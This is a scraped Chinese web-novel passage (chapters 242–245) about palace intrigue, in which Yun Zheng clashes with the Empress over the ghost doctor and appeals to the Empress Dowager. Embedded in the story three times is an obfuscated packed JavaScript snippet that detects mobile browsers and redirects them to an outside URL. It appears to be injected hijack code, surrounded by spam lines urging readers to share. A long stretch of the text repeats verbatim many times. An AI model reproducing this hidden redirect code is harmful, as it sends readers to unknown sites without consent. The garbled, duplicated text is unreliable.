她委委屈屈的开口,“皇上,皇后娘娘这是怎么了?似乎对我有成见?我自问没有得罪过她,事事尊重,有什么好东西都不忘进上,怎么还翻脸不认人呢?” 她的东西岂是好拿的? “臣,心里委屈啊。” 她明晃晃的告状,不服就干。 皇上心里跟明镜似的,“她是糊涂,别理她。” 皇后心中暗暗发狠,“皇上,您如此行事让本宫以后怎么服众?” 云筝忽然来了一句,“我怎么感觉皇后盼着其他皇子们都**,好给四皇子腾出空位啊,是错觉吗?” 全场安静的可怕,齐刷刷的看向皇后,皇后脸色大变。 云筝微微蹙眉,“而且吧,皇后是后宫之主,管着整个后宫,出了**之事,您真的没有责任吗?” 她眼中闪过一丝浓浓的怀疑,“难道是……” 皇后后背一阵发寒,她有种不好的预感…… 第242章 争抢鬼医 云筝眨巴着眼睛“不会是您故意放水吧?” 这话一出气氛怪异到了极点齐刷刷的看向皇后。 她的话也有几分道理后宫算是皇后的地盘给皇子集体下毒这么严重的事她真的一点都没有察觉吗? 皇后的脸拉了下来气怒攻心“云筝你胡说八道什么。” “皇上锦云郡主诬陷一国国母以下犯上请您治罪。” 皇上的眼神微凉“朕也很想知道你今日屡次冲锦云发难是何原因?她之前可没有得罪过你。” 她平时还会装一装对皇子们也算一碗水端平可现在生死关口她的私心藏不住了。 想踩着其他皇子的尸骨扶四皇子上位太着急了。 皇后表情僵硬“她太过嚣张看谁不顺眼就让谁抄家灭族全然没有女子的贤良淑德本宫只是敲打一二。” 皇上不冷不热的说道“是吗?希望这件事真的跟你无关。” 皇后一脸的受伤“皇上您不信我?” 皇上的视线移到鬼医身上“先救人还请鬼医赐药。” 鬼医负手而站“一颗药一万两黄金。” 一名太医惊叫出声“什么?” 鬼医眉眼不耐烦“不给钱也行换药材吧千年血参千年茯苓 他背了一长串的药材全是极为珍稀难得的。 光是其中一件就价值不菲。 有人忍不住说道“你这是抢钱。” 鬼医神色倨傲鼻孔朝天“这是我的规矩银钱两讫爱治不治不治拉倒。” 太医们终于知道鬼医的名号因何而来太嚣张了难怪经常被人追杀。 “锦云郡主你快劝劝他。” 云筝一脸震惊的看着众人“看来大家都不想皇子们活着啊这个时候还有心情讨价还价。” “你们……都是内应吧。” 这话一出大家都变了脸色。 “不不不我们不是。” 皇上微微蹙眉“鬼医朕答应你。” 鬼医二话不说将药丸分给四份“再加这一份可以将毒性压制12个时辰 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 。” “我想,集齐整个太医院,12个时辰内必有结果。” 大家半信半疑,真这么神奇? 就在此时,大皇**跳起来,“啊啊啊。” 大家吓了一跳,怎么了?这是毒发了? 一名太医大声质问,“鬼医,你不会做了什么手脚吧,皇子若有个三长两短,你死定了。” 鬼医冷笑一声,“所以,我不喜欢跟你们这些人打交道,一个个道貌岸然,尽干些缺德事。” “自己没本事,甩锅第一名。” 他的嘴真毒,把一众太医骂的狗血喷头,老脸通红。 皇上算是看明白了,鬼医能跟云筝混到一起,是臭味……啊,是义气相投。 一样的恃才傲物,一样的毒舌。 “行了,都别闹了。” 他一出声,大家都不敢吭声了。 他关切的问道,“大皇儿,你怎么样?” 大皇子摸摸胳膊,又摸摸胸口,一脸的不可思议。 “父皇,我不疼了,感觉跟平时没有什么两样。” 这也太神奇了。 二皇子也一脸的惊奇,“我也不疼了,果然是神丹妙药。” 皇上有些惊喜,一挥手,“把脉。” 太医们轮流把脉,神色很复杂,“毒性已经控制住了,但,还得想办法清除。” 皇上扬了扬眉,“鬼医。” 鬼医看了云筝一眼,云筝微微颌首,他才开口说道,“我写一张药方,能不能用你们看着办。“ 他顿了顿,补了一句,”别想把黑锅扣在我头上,你们才是御用的太医。” 太医们面面相觑,凑到一起商量药方。 皇上越看鬼医就越喜欢,这么厉害的大夫必须留在身边。 “鬼医,以后你就入职太医,医正是八品,你……赏你一个八品官。” 这是命令,而不是商量。 溥天之下,莫非王土,率土之滨,莫非王臣。 天下都是他的臣民,看上谁是他的福气。 鬼医神色平静,“多谢皇上赏识,但,我常年研究各类**,脾气也不好,一生气就给人下毒,这毛病啊,改不了。” 听说看这本书的人都是很幸运的,分享后你的运气会更棒 众人:…… 这话太吓人,谁敢跟他共事? 皇上也迟疑了,毒术太高明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16204672|174986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,性格又太桀骜,放在身边不安全。 鬼医还来了一句,“何为鬼医,就是**于无形如鬼魅。” 如一盆冷水浇下来,将皇上的心思全浇熄了。 “罢了,你不愿就算了,但,若有召,必须奉诏进宫。” 鬼医淡淡的道,“我尽量。” 皇后忽然开口,“怎么?你还敢违抗皇令?就不怕迁连云家吗?” 鬼医深深的看了她一眼,“我常年四处奔波,只为采药,若皇上能替我将高山之巅,海底深处的药材弄到手,我就不用出京了。” 二皇子忽然开口说道,“鬼医,我聘你为皇子府的府医,一切供应都照着云府来。” 大皇子也不甘示弱,有了这么一个人在手,等于多了一把利器。 “鬼医,你来我府上,待遇加二成。” 四皇子冷哼一声,“大哥,二哥,你们好小气,鬼医,我给你待遇翻一倍。” 鬼医神色严肃,“你确定?” 四皇子拍着胸口保证,“对,确定,在场的所有人都能为我作证。” 鬼医微微一笑,“行,把刚才我报的那些药材先给我一份。” 四皇子神色一僵,啥?那些宝贝连父皇也未必有。 鬼医继续说道,“一年三万两黄金,再加一份分红,不少于一万两黄金……” 四皇子算了算,倒抽一口冷气,“等一下,你没说错吧?加起来一年四十万两?” 皇子府一年的开销也没有四十万两! 鬼医理所当然的点头,“没错,云府是二十两万银子,你得翻倍。” “啊,还要加上吃穿用度都是你供应,天上飞的,海里游的,不求多贵,但一定要够滋补。” 四皇子嘴角直抽抽,那是山珍海味,能便宜吗? “锦云郡主,你真的这么舍得?” 再怎么厉害,也只是一个大夫而已,他想着一年有个几千两就能打发了。 云筝微微一笑,“一点小钱而已。” 二十万两银子,居然轻轻飘飘的说是小钱! 还有天理吗? 偏偏,她是财神娘娘,她有这个资本。 众人别提有多酸了,羡慕嫉妒恨。 一名太医忍不住了,站了出来,说了一句让人震惊的话。 第243章 啊,是谁破防了? “锦云郡主,你府上还招府医吗?我程家是太医世家,我医术非常精湛,口碑极好。” 他厚着脸皮毛遂自荐,满脑子都是二十万两银子。 说实话,太医听上去风光,其实就是皇家的狗,招之即来,挥之即去,一不小心就卷入进宫廷纷争,随时没命。 这种朝不保夕的日子,实在是太累了。 这话一出,太医们看他的眼神,像看着一个叛徒! 居然被他抢先了! 另一名太医立马开口,“我们曾家也是世代太医,我是这一代医术最高明的,比一众同僚强多了,郡主看看我呗。” 其他人不干了,“放屁,你到底哪里强了?我才是最厉害的,什么都会,郡主,我别信他们,要信我。” “郡主,我便宜,不需要二十万,十万就够了。” 我却,居然降低价格,恶意竞争! “你不讲规矩。” “要什么规矩,我只要钱!” 大家为了争抢,快要打破脑袋了,还拼命拉踩对方。 实在是,云家给的太多了! 太医一年的俸禄没有多少钱,顶多有点外快,根本不够花。 鬼医目瞪口呆,原来太医平时是这副鬼样子,又争又抢。 幸好,他早一步遇到了云筝! 哼,有他一个就够了,他们没戏! 皇上看着这一幕,心情非常复杂。 这些人太医都不想当了,只想当云府的府医。 说到底,钱财动人心! 皇子们也彻底歇了心思,他们拿不出这么多钱。 嗯,财神娘娘在此,他们也好心动。 玻璃必须好好卖,争取挣个盆满钵满。 皇后的心里酸溜溜的,不就有几个破钱吗? “住口,你们眼里还有皇上吗?” 太医们这才想到皇上在此,立马闭嘴,但心里蠢蠢欲动。 皇后心里不舒服,怎么也要发泄出来。“云筝,你要跟皇上抢人,这是要**吗?” 她身居高位多年,傲慢惯了,老对手一倒下,她没有了压力,就不藏了。 但,她是真的不了解云筝,云筝之前给她送礼,只是走走过 场,面上过的去就行。 对皇后又敬又怕?别闹了,她都是演的。 演着演着,本人没当一回事,皇后当真了。 云筝一听这话,不干了,豁出去大声嚷嚷,“心脏的人看谁都脏,想**的看谁都是逆贼。” 一语惊人,大家看她的眼神都不对了,锦云郡主又开始发疯了。 鬼医在一边用力点头,“没错!” 皇后气的脸色铁青,“本宫是皇后,是一国之母,你这是犯上!” 云筝觉得她有病,之前好好的,怎么就犯病了? “皇上,贵妃倒下后,皇后没有了对手,实在太寂寞了,不如给她多找几个姐妹,替她分忧吧。” 皇上也挺窝火的,是要平衡一下。 “皇后太累了,好生休息一阵子,让淑妃和惠妃分管宫务。” 如一道晴天霹雳砸下来,砸的皇后头晕眼花,宫务是她最看重的,是权力,也是荣耀。 她跟贵妃斗了多年,好不容易将人搞下去,终于能一家独大,扬眉吐气。 谁知,半路杀出一个云筝。 “皇上,您可是帝王,怎么能被一个女子牵着鼻子走?” “云筝就是一个离间天家夫妻父子感情的奸臣,您千万别上当。” 云筝也不是好惹的,“皇上,她说你老糊涂了,应该早早将皇位双手送到四皇子手里,她想当摄政太后,帮着四皇子打理这天下呢。” 说她是奸臣,立马还了一个摄政太后。 这可戳中了皇后的要害,眼前一黑,差点气吐血。 她怎么不讲武德? 这丫头眼里只有皇帝,为皇帝挣了金山银山,却拿些小玩意糊弄她,还说什么尊重,呵呵。 她看向脸色难看的皇上,心里慌乱不已,“皇上,您别信她的鬼话。” 三皇子忽然开口道,“父皇,臣有事要禀。” 皇上看了过来,“你说。” 三皇子眼神微闪,“我知道皇后娘娘为何针对锦云郡主?” 这把大家的好奇心勾了起来,云筝也很想知道,“为何?” 三皇子嘴角轻轻上扬,“锦云锦云不带她娘家做生意,不给她娘家挣钱的机会,她怒了。” 皇后的脸色一变,“胡说。” 三皇子呵呵一笑,“锦云,你还记得那个想跟你做陶瓷生意的人吗?姓金,三角眼,嘴角长着一颗黑痣。” 云筝的记性极好,一提就想起来了。 “记得,他口气很大,说是只要跟他合作,保证将朝堂上的关系网都打通,各地都有人脉,我让他滚蛋了。” 三皇子神色有些复杂,“那就是闵家的下人,是闵老夫人陪房的孙子。” 皇后姓闵。 云筝恍然大悟,“就为了点钱?闵家穷疯了?” 三皇子笑了,也只有她才觉得钱不重要,因为她随时能挣。 但,对于一般人家,钱太重要了,没有钱寸步难行。 “你应该识趣些,主动带他们做生意,再送些干股给皇后娘家,她才会高兴。” 云筝无语了,“原来如此。” 她眨巴着无辜的眼睛,“可是,我早就发誓,这辈子的钱只给皇上和家人花,其他人都不行。” “皇后娘娘,你实在缺钱,就跟皇上伸手要呗,你们是夫妻,皇上还能看着你受穷?” 一口一声穷疯了,把皇后刺激的够呛。 她破防了! 她眼中闪过一丝凶光,“云筝,你这辈子都休想嫁进皇室,有我在,绝不允许你嫁给睿亲王。” 云筝挑了挑眉,“你?“ 皇后冷哼一声,女子最重要的就是终身大事,她有的是办法拿捏云筝。 “对,我是中宫,是皇后,母仪天下,天下女子都归我管。” 她行了一礼,神态恭敬,“皇上,赐婚是皇后的职权范围,希望您不要干涉。” 皇上深深的看了她一眼,“那是自然。” 皇后冲云筝挑衅的一笑,跟她斗?自不量力! 云筝眼珠一转,忽然扭头就跑。 “你们都欺负我,我不干了。” 众人目瞪口呆,怎么跟个孩子似的? 皇上头疼不已,“锦云,你回来!” 云筝才不会回头呢,鬼医立马跟了上去。 但,谁都没想到,她没出宫,而是跑去了慈宁宫。 她站在宫殿门口,大吼一声,“太后娘娘,皇后不许睿亲王成亲!不许他有后代!她要断了睿亲王这一支的香火!” “她这么欺负睿亲王,您可要为睿亲王作主啊!” 这一嗓子吼的惊天动地,四周的侍卫们都惊呆了。 现场一片哗然,炸开了锅。 皇后的脸色一变,“胡说。” 三皇子呵呵一笑,“锦云,你还记得那个想跟你做陶瓷生意的人吗?姓金,三角眼,嘴角长着一颗黑痣。” 云筝的记性极好,一提就想起来了。 “记得,他口气很大,说是只要跟他合作,保证将朝堂上的关系网都打通,各地都有人脉,我让他滚蛋了。” 三皇子神色有些复杂,“那就是闵家的下人,是闵老夫人陪房的孙子。” 皇后姓闵。 云筝恍然大悟,“就为了点钱?闵家穷疯了?” 三皇子笑了,也只有她才觉得钱不重要,因为她随时能挣。 但,对于一般人家,钱太重要了,没有钱寸步难行。 “你应该识趣些,主动带他们做生意,再送些干股给皇后娘家,她才会高兴。” 云筝无语了,“原来如此。” 她眨巴着无辜的眼睛,“可是,我早就发誓,这辈子的钱只给皇上和家人花,其他人都不行。” “皇后娘娘,你实在缺钱,就跟皇上伸手要呗,你们是夫妻,皇上还能看着你受穷?” 一口一声穷疯了,把皇后刺激的够呛。 她破防了! 她眼中闪过一丝凶光,“云筝,你这辈子都休想嫁进皇室,有我在,绝不允许你嫁给睿亲王。” 云筝挑了挑眉,“你?“ 皇后冷哼一声,女子最重要的就是终身大事,她有的是办法拿捏云筝。 “对,我是中宫,是皇后,母仪天下,天下女子都归我管。” 她行了一礼,神态恭敬,“皇上,赐婚是皇后的职权范围,希望您不要干涉。” 皇上深深的看了她一眼,“那是自然。” 皇后冲云筝挑衅的一笑,跟她斗?自不量力! 云筝眼珠一转,忽然扭头就跑。 “你们都欺负我,我不干了。” 众人目瞪口呆,怎么跟个孩子似的? 皇上头疼不已,“锦云,你回来!” 云筝才不会回头呢,鬼医立马跟了上去。 但,谁都没想到,她没出宫,而是跑去了慈宁宫。 她站在宫殿门口,大吼一声,“太后娘娘,皇后不许睿亲王成亲!不许他有后代!她要断了睿亲王这一支的香火!” “她这么欺负睿亲王,您可要为睿亲王作主啊!” 这一嗓子吼的惊天动地,四周的侍卫们都惊呆了。 现场一片哗然,炸开了锅。 皇后的脸色一变,“胡说。” 三皇子呵呵一笑,“锦云,你还记得那个想跟你做陶瓷生意的人吗?姓金,三角眼,嘴角长着一颗黑痣。” 云筝的记性极好,一提就想起来了。 “记得,他口气很大,说是只要跟他合作,保证将朝堂上的关系网都打通,各地都有人脉,我让他滚蛋了。” 三皇子神色有些复杂,“那就是闵家的下人,是闵老夫人陪房的孙子。” 皇后姓闵。 云筝恍然大悟,“就为了点钱?闵家穷疯了?” 三皇子笑了,也只有她才觉得钱不重要,因为她随时能挣。 但,对于一般人家,钱太重要了,没有钱寸步难行。 “你应该识趣些,主动带他们做生意,再送些干股给皇后娘家,她才会高兴。” 云筝无语了,“原来如此。” 她眨巴着无辜的眼睛,“可是,我早就发誓,这辈子的钱只给皇上和家人花,其他人都不行。” “皇后娘娘,你实在缺钱,就跟皇上伸手要呗,你们是夫妻,皇上还能看着你受穷?” 一口一声穷疯了,把皇后刺激的够呛。 她破防了! 她眼中闪过一丝凶光,“云筝,你这辈子都休想嫁进皇室,有我在,绝不允许你嫁给睿亲王。” 云筝挑了挑眉,“你?“ 皇后冷哼一声,女子最重要的就是终身大事,她有的是办法拿捏云筝。 “对,我是中宫,是皇后,母仪天下,天下女子都归我管。” 她行了一礼,神态恭敬,“皇上,赐婚是皇后的职权范围,希望您不要干涉。” 皇上深深的看了她一眼,“那是自然。” 皇后冲云筝挑衅的一笑,跟她斗?自不量力! 云筝眼珠一转,忽然扭头就跑。 “你们都欺负我,我不干了。” 众人目瞪口呆,怎么跟个孩子似的? 皇上头疼不已,“锦云,你回来!” 云筝才不会回头呢,鬼医立马跟了上去。 但,谁都没想到,她没出宫,而是跑去了慈宁宫。 她站在宫殿门口,大吼一声,“太后娘娘,皇后不许睿亲王成亲!不许他有后代!她要断了睿亲王这一支的香火!” “她这么欺负睿亲王,您可要为睿亲王作主啊!” 这一嗓子吼的惊天动地,四周的侍卫们都惊呆了。 现场一片哗然,炸开了锅。 皇后的脸色一变,“胡说。” 三皇子呵呵一笑,“锦云,你还记得那个想跟你做陶瓷生意的人吗?姓金,三角眼,嘴角长着一颗黑痣。” 云筝的记性极好,一提就想起来了。 “记得,他口气很大,说是只要跟他合作,保证将朝堂上的关系网都打通,各地都有人脉,我让他滚蛋了。” 三皇子神色有些复杂,“那就是闵家的下人,是闵老夫人陪房的孙子。” 皇后姓闵。 云筝恍然大悟,“就为了点钱?闵家穷疯了?” 三皇子笑了,也只有她才觉得钱不重要,因为她随时能挣。 但,对于一般人家,钱太重要了,没有钱寸步难行。 “你应该识趣些,主动带他们做生意,再送些干股给皇后娘家,她才会高兴。” 云筝无语了,“原来如此。” 她眨巴着无辜的眼睛,“可是,我早就发誓,这辈子的钱只给皇上和家人花,其他人都不行。” “皇后娘娘,你实在缺钱,就跟皇上伸手要呗,你们是夫妻,皇上还能看着你受穷?” 一口一声穷疯了,把皇后刺激的够呛。 她破防了! 她眼中闪过一丝凶光,“云筝,你这辈子都休想嫁进皇室,有我在,绝不允许你嫁给睿亲王。” 云筝挑了挑眉,“你?“ 皇后冷哼一声,女子最重要的就是终身大事,她有的是办法拿捏云筝。 “对,我是中宫,是皇后,母仪天下,天下女子都归我管。” 她行了一礼,神态恭敬,“皇上,赐婚是皇后的职权范围,希望您不要干涉。” 皇上深深的看了她一眼,“那是自然。” 皇后冲云筝挑衅的一笑,跟她斗?自不量力! 云筝眼珠一转,忽然扭头就跑。 “你们都欺负我,我不干了。” 众人目瞪口呆,怎么跟个孩子似的? 皇上头疼不已,“锦云,你回来!” 云筝才不会回头呢,鬼医立马跟了上去。 但,谁都没想到,她没出宫,而是跑去了慈宁宫。 她站在宫殿门口,大吼一声,“太后娘娘,皇后不许睿亲王成亲!不许他有后代!她要断了睿亲王这一支的香火!” “她这么欺负睿亲王,您可要为睿亲王作主啊!” 这一嗓子吼的惊天动地,四周的侍卫们都惊呆了。 现场一片哗然,炸开了锅。 皇后的脸色一变,“胡说。” 三皇子呵呵一笑,“锦云,你还记得那个想跟你做陶瓷生意的人吗?姓金,三角眼,嘴角长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16204673|174986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着一颗黑痣。” 云筝的记性极好,一提就想起来了。 “记得,他口气很大,说是只要跟他合作,保证将朝堂上的关系网都打通,各地都有人脉,我让他滚蛋了。” 三皇子神色有些复杂,“那就是闵家的下人,是闵老夫人陪房的孙子。” 皇后姓闵。 云筝恍然大悟,“就为了点钱?闵家穷疯了?” 三皇子笑了,也只有她才觉得钱不重要,因为她随时能挣。 但,对于一般人家,钱太重要了,没有钱寸步难行。 “你应该识趣些,主动带他们做生意,再送些干股给皇后娘家,她才会高兴。” 云筝无语了,“原来如此。” 她眨巴着无辜的眼睛,“可是,我早就发誓,这辈子的钱只给皇上和家人花,其他人都不行。” “皇后娘娘,你实在缺钱,就跟皇上伸手要呗,你们是夫妻,皇上还能看着你受穷?” 一口一声穷疯了,把皇后刺激的够呛。 她破防了! 她眼中闪过一丝凶光,“云筝,你这辈子都休想嫁进皇室,有我在,绝不允许你嫁给睿亲王。” 云筝挑了挑眉,“你?“ 皇后冷哼一声,女子最重要的就是终身大事,她有的是办法拿捏云筝。 “对,我是中宫,是皇后,母仪天下,天下女子都归我管。” 她行了一礼,神态恭敬,“皇上,赐婚是皇后的职权范围,希望您不要干涉。” 皇上深深的看了她一眼,“那是自然。” 皇后冲云筝挑衅的一笑,跟她斗?自不量力! 云筝眼珠一转,忽然扭头就跑。 “你们都欺负我,我不干了。” 众人目瞪口呆,怎么跟个孩子似的? 皇上头疼不已,“锦云,你回来!” 云筝才不会回头呢,鬼医立马跟了上去。 但,谁都没想到,她没出宫,而是跑去了慈宁宫。 她站在宫殿门口,大吼一声,“太后娘娘,皇后不许睿亲王成亲!不许他有后代!她要断了睿亲王这一支的香火!” “她这么欺负睿亲王,您可要为睿亲王作主啊!” 这一嗓子吼的惊天动地,四周的侍卫们都惊呆了。 现场一片哗然,炸开了锅。 皇后的脸色一变,“胡说。” 三皇子呵呵一笑,“锦云,你还记得那个想跟你做陶瓷生意的人吗?姓金,三角眼,嘴角长着一颗黑痣。” 云筝的记性极好,一提就想起来了。 “记得,他口气很大,说是只要跟他合作,保证将朝堂上的关系网都打通,各地都有人脉,我让他滚蛋了。” 三皇子神色有些复杂,“那就是闵家的下人,是闵老夫人陪房的孙子。” 皇后姓闵。 云筝恍然大悟,“就为了点钱?闵家穷疯了?” 三皇子笑了,也只有她才觉得钱不重要,因为她随时能挣。 但,对于一般人家,钱太重要了,没有钱寸步难行。 “你应该识趣些,主动带他们做生意,再送些干股给皇后娘家,她才会高兴。” 云筝无语了,“原来如此。” 她眨巴着无辜的眼睛,“可是,我早就发誓,这辈子的钱只给皇上和家人花,其他人都不行。” “皇后娘娘,你实在缺钱,就跟皇上伸手要呗,你们是夫妻,皇上还能看着你受穷?” 一口一声穷疯了,把皇后刺激的够呛。 她破防了! 她眼中闪过一丝凶光,“云筝,你这辈子都休想嫁进皇室,有我在,绝不允许你嫁给睿亲王。” 云筝挑了挑眉,“你?“ 皇后冷哼一声,女子最重要的就是终身大事,她有的是办法拿捏云筝。 “对,我是中宫,是皇后,母仪天下,天下女子都归我管。” 她行了一礼,神态恭敬,“皇上,赐婚是皇后的职权范围,希望您不要干涉。” 皇上深深的看了她一眼,“那是自然。” 皇后冲云筝挑衅的一笑,跟她斗?自不量力! 云筝眼珠一转,忽然扭头就跑。 “你们都欺负我,我不干了。” 众人目瞪口呆,怎么跟个孩子似的? 皇上头疼不已,“锦云,你回来!” 云筝才不会回头呢,鬼医立马跟了上去。 但,谁都没想到,她没出宫,而是跑去了慈宁宫。 她站在宫殿门口,大吼一声,“太后娘娘,皇后不许睿亲王成亲!不许他有后代!她要断了睿亲王这一支的香火!” “她这么欺负睿亲王,您可要为睿亲王作主啊!” 这一嗓子吼的惊天动地,四周的侍卫们都惊呆了。 现场一片哗然,炸开了锅。 皇后的脸色一变,“胡说。” 三皇子呵呵一笑,“锦云,你还记得那个想跟你做陶瓷生意的人吗?姓金,三角眼,嘴角长着一颗黑痣。” 云筝的记性极好,一提就想起来了。 “记得,他口气很大,说是只要跟他合作,保证将朝堂上的关系网都打通,各地都有人脉,我让他滚蛋了。” 三皇子神色有些复杂,“那就是闵家的下人,是闵老夫人陪房的孙子。” 皇后姓闵。 云筝恍然大悟,“就为了点钱?闵家穷疯了?” 三皇子笑了,也只有她才觉得钱不重要,因为她随时能挣。 但,对于一般人家,钱太重要了,没有钱寸步难行。 “你应该识趣些,主动带他们做生意,再送些干股给皇后娘家,她才会高兴。” 云筝无语了,“原来如此。” 她眨巴着无辜的眼睛,“可是,我早就发誓,这辈子的钱只给皇上和家人花,其他人都不行。” “皇后娘娘,你实在缺钱,就跟皇上伸手要呗,你们是夫妻,皇上还能看着你受穷?” 一口一声穷疯了,把皇后刺激的够呛。 她破防了! 她眼中闪过一丝凶光,“云筝,你这辈子都休想嫁进皇室,有我在,绝不允许你嫁给睿亲王。” 云筝挑了挑眉,“你?“ 皇后冷哼一声,女子最重要的就是终身大事,她有的是办法拿捏云筝。 “对,我是中宫,是皇后,母仪天下,天下女子都归我管。” 她行了一礼,神态恭敬,“皇上,赐婚是皇后的职权范围,希望您不要干涉。” 皇上深深的看了她一眼,“那是自然。” 皇后冲云筝挑衅的一笑,跟她斗?自不量力! 云筝眼珠一转,忽然扭头就跑。 “你们都欺负我,我不干了。” 众人目瞪口呆,怎么跟个孩子似的? 皇上头疼不已,“锦云,你回来!” 云筝才不会回头呢,鬼医立马跟了上去。 但,谁都没想到,她没出宫,而是跑去了慈宁宫。 她站在宫殿门口,大吼一声,“太后娘娘,皇后不许睿亲王成亲!不许他有后代!她要断了睿亲王这一支的香火!” “她这么欺负睿亲王,您可要为睿亲王作主啊!” 这一嗓子吼的惊天动地,四周的侍卫们都惊呆了。 现场一片哗然,炸开了锅。 第244章 是可忍,孰不可忍啊 慈宁宫是太后的寝宫。 太后是一国最尊贵的女子也是后宫真正的女主人就算是帝后也得尊着敬着。 大齐是以孝治国。 先皇在世时她可谓是专宠。 先皇去世后她专心理佛不过问世事。 在这宫中她活的像隐形人但若是认为她软弱可欺那就大错特错。 先皇去世前将妻儿托付给当今圣上圣上当众发誓会善待嫡母幼弟保他们一世荣华富贵。 这是满朝文武亲眼见证的。 这些年皇上将厉无恙养在身边疼爱有加一成年就封亲王将情报机构明镜司交到他手上权倾天下。 对太后非常恭敬吃穿用度是独一档的比帝王的待遇还要好。 第一茬贡品先送慈宁宫再是皇上然后才是嫔妃等级森严。 所以太后纵然不掌权但没人敢对她有半点怠慢。 太后喜欢安静闭门谢客皇上想见她都很难。 可云筝不管不顾在慈宁宫门口大声嚷嚷。 “太后娘娘皇后不许睿亲王成亲!不许他有后代!她要断了睿亲王这一支的香火!” 这句话一连喊了数次喊的歇斯底里将皇后狠狠钉在耻辱架上。 侍卫们都惊呆了面面相觑 没听错吧?皇后居然有这种心思?难怪睿亲王年纪不小一直没成亲。 断人子嗣太恶毒了。 她到底图什么?为她的养子肃清一切碍障? 侍卫统领急的满头大汗第一时间跑去向皇上禀报。 皇上不敢相信自己的耳朵“你说什么?再说一遍。” 还有什么是云筝做不出来的? 侍卫统领小心翼翼的禀道“锦云郡主跑去慈宁宫告状……” 皇后如五雷轰顶脸色大变“锦云郡主怎么能胡说八道我什么时候不许睿亲王成亲?我只是不想让他们成亲!” 这传出去大家会怎么想她? “皇上您可要为臣妾作主啊。” 皇上心中有一种诡异的平静云筝岂是能受半点委屈的人? 不将这口气发泄出来 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 她是不会善罢甘休。 记仇小气,一遇事就发疯,只图自己痛快。 不识大体,但,她无欲则刚。 嗯,人呢,总要有些缺点,有些软肋,用起来才放心。 他起身往外走,皇后咬了咬牙跟了上去,其他人相视一眼,纷纷跟上。 看热闹喽! 慈宁宫外,云筝喊的更起劲了,“太后娘娘,睿亲王从小没有了爹,娘也不管他,他一个人孤苦伶仃。” “是个人都敢爬到他头上作威作福,他小小年纪不知吃了多少苦。” “好不容易长大,该娶妻生子了,却被皇后娘娘威逼着不许成亲,他真的好惨啊。” 侍卫们:……我们认识的睿亲王好像不一样。 他是没爹,但是当今圣上手把手养大的,皇子公主在他面前都不敢大声说话。 爬到九千岁头上作威作福?早死几百遍了。 慈宁宫内,太后呆呆的站着,面色惨白如纸。 关嬷嬷搀扶着她,小心翼翼的劝道,“太后,您别往心里去,她什么都不知道。” 太后神色怔忡,“她是谁?” 关嬷嬷已经听出来了,“锦云郡主,云筝。” 太后心里一动,“原来是她啊,果然,如传说中那般跳脱张扬,无恙那般清冷的性子怎么会喜欢她?” 关嬷嬷满眼的心疼,“奴婢这就将人请走……” 就在此时,外面又有了新动静。 云筝上蹦下跳,嬉笑怒骂,恣意张扬。 “皇后仗着身份欺凌睿亲王,还放言这辈子都不让他成亲。” “听到这里,您还能再装聋作哑吗?苍天啊,大地啊,给睿亲王一条活路吧。” 皇上一众人赶过来,正好听到这话,神色各异。 皇上:……又看了什么乱七八糟的戏本子? 皇后亲耳听到,气的浑身发抖。 “云筝,谁允许你跑来慈宁宫胡闹,没规矩。来人,把她拉走。” 侍卫们犹豫了一下,下意识的看向皇上。 皇上沉默不语,没人敢动。 云筝傲娇的冷哼一声,谁怕谁呀? “太后娘娘,皇后跑到你宫门前撒野,明晃 听说看这本书的人都是很幸运的,分享后你的运气会更棒 晃欺负你的孩子,对你没有一点尊重,是可忍,孰不可忍啊,你快出来教训她这个不孝的玩澺。” 不孝玩意?皇后快气疯了,这辈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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有人忍不住笑了,“扑哧。” 第245章 乖,别怕,有哀家在 云筝的小脸一红她就是口误啊啊啊好丢人! 皇后冷嘲道“云筝你就这么迫不及待?还母后呢你配吗?你谄媚的样子真难看。” 都撕破脸了谁也不惯着谁。 而皇后的权威不容挑战她必须要将云筝踩在脚底下威慑众人。 云筝不理会只是冲太后甜甜一笑小模样又乖又甜。 她眼睛闪闪发亮的夸赞“太后娘娘您好美哦我都看呆了。” 她发自内心的赞美让太后怔了怔随后眉眼微弯。 “你也很美张扬大气的美。” 云筝眉眼弯弯声音都雀跃了几分。 “嘻嘻太后娘娘夸我了呢我好开心。” “初次见到睿亲王就发现他的眼睛好好看原来是像您。” “我就说嘛什么样的母亲就有什么样的孩子睿亲王啊应该好好谢谢您。” 她叽叽喳喳完全没把自己当外人。 “谢我什么?” “谢您把他生的那么好看。” 太后从未见过如此热烈明媚的女子敢爱敢恨恣意洒脱说小甜话时可可爱爱。 她嘴角轻轻上扬忽然有点明白儿子的心思。 性情淡漠之人 喜欢上云筝是一件很简单的事。 云筝很自然的挽上她的胳膊“您应该多笑笑笑起来春风拂面美的不可方物我好喜欢。” 太后的身体一僵她不习惯别人的亲近。 